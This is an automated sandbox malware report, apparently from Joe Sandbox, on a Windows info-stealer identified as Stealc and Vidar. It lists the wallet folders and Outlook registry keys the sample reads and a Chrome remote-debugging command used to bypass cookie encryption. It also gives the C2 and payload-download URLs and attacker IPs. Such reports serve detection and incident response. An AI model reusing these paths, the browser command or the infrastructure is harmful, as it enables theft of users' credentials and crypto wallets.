Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2730382945.00000000010AC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1612, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2173576711.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2730382945.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1612, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://31.41.244.11/files/unique1/random.exe01	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe7	0%	Avira URL Cloud	safe
http://185.215.113.206B	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exe	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exeed	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	19%	Virustotal		Browse
http://31.41.244.11/files/unique1/random.exe7	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239339388047_1IA8KT8C9GBGWC56Z&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757278708&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418588_1PJ4HLSB51V9JOSDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399230515_1O5S4SCQK1NL15G8R&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757271570&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732757266484&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A49E4BF156D65780FA2F1FA140F641B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757278640&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399230513_1725RTMX37W73V5P6&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360432890_1TOC5U5IB565A9QI0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239357290388_16CMXFO1MXGSZHTL5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://c.msn.com/c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=10CCBE50A8DC44048B0E72D4D14D5C66&MUID=3A49E4BF156D65780FA2F1FA140F641B	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360432892_19VCX0OIIPQAUNJ24&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757277708&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757266482&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757277704&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732757269690&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	false		high
http://www.broofa.com	chromecache_532.6.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://ntp.msn.com/0	000003.log0.13.dr	false		high
https://ntp.msn.com/_default	QuotaManager.13.dr	false		high
https://www.last.fm/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.14.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.13.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://docs.google.com/	manifest.json0.13.dr	false		high
https://www.youtube.com	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://31.41.244.11/	skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.instagram.com	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://drive.google.com/	manifest.json0.13.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://31.41.244.11/files/unique1/random.exe01	skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.messenger.com	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://31.41.244.11/files/unique1/random.exe7	skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://outlook.office.com/mail/compose?isExtension=true	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://185.215.113.206B	file.exe, 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://i.y.qq.com/n2/m/index.html	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://www.deezer.com/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://web.telegram.org/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.13.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CFHCBKKFIJJJECAAFCGI.1.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.13.dr	false		high
https://vibe.naver.com/today	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	false		high
https://assets.msn.com	8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp.14.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.1.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.13.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dlll	file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php1	file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	false		high
https://excel.new?from=EdgeM365Shoreline	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000001.00000002.2730382945.0000000001095000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.php5	file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_532.6.dr	false		high
https://www.google.com/chrome	content_new.js.13.dr, content.js.13.dr	false		high
https://www.tiktok.com/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.13.dr	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001F.00000002.3411897951.000000000080B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chromewebstore.google.com/	manifest.json.13.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.13.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.13.dr	false		high
https://msn.comXIDv10	Cookies.14.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://chrome.google.com/webstore/	manifest.json.13.dr	false		high
https://y.music.163.com/m/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
https://bard.google.com/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.13.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://web.whatsapp.com	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://m.kugou.com/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
https://www.office.com	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpa	file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/0/	747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	false		high
http://31.41.244.11/files/unique1/random.exeed	skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.136.136	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.35	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.57.90.146	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.164.116.57	unknown	United States	3	MIT-GATEWAYSUS	false
52.182.143.215	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.163	unknown	United States	35994	AKAMAI-ASUS	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564259
Start date and time:	2024-11-28 02:26:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/296@26/27
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.198.119.84, 216.58.208.227, 64.233.165.84, 172.217.19.238, 34.104.35.123, 172.217.21.35, 172.217.19.202, 172.217.17.42, 172.217.17.74, 172.217.19.170, 142.250.181.42, 142.250.181.74, 172.217.19.234, 142.250.181.10, 216.58.208.234, 142.250.181.138, 172.217.21.42, 142.250.181.106, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 13.87.96.169, 2.19.198.56, 23.32.238.138, 2.16.158.88, 2.16.158.187, 2.16.158.83, 2.16.158.176, 2.16.158.26, 2.16.158.169, 2.16.158.82, 2.16.158.89, 2.16.158.80, 172.165.61.93, 104.126.37.138, 104.126.37.130, 104.126.37.155, 104.126.37.153, 104.126.37.152, 104.126.37.137, 104.126.37.160, 104.126.37.139, 104.126.37.128, 104.116.245.9, 104.116.245.17, 2.16.158.33, 2.16.158.27, 2.16.158.35, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.32.238.208, 23.32.238.201, 142.251.40.195, 142.250.81.227, 142.251.32.99, 142.250.64.67, 142.251.40.163
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, a767.dspw65.akamai.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, wu-b-net.trafficmanager.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, 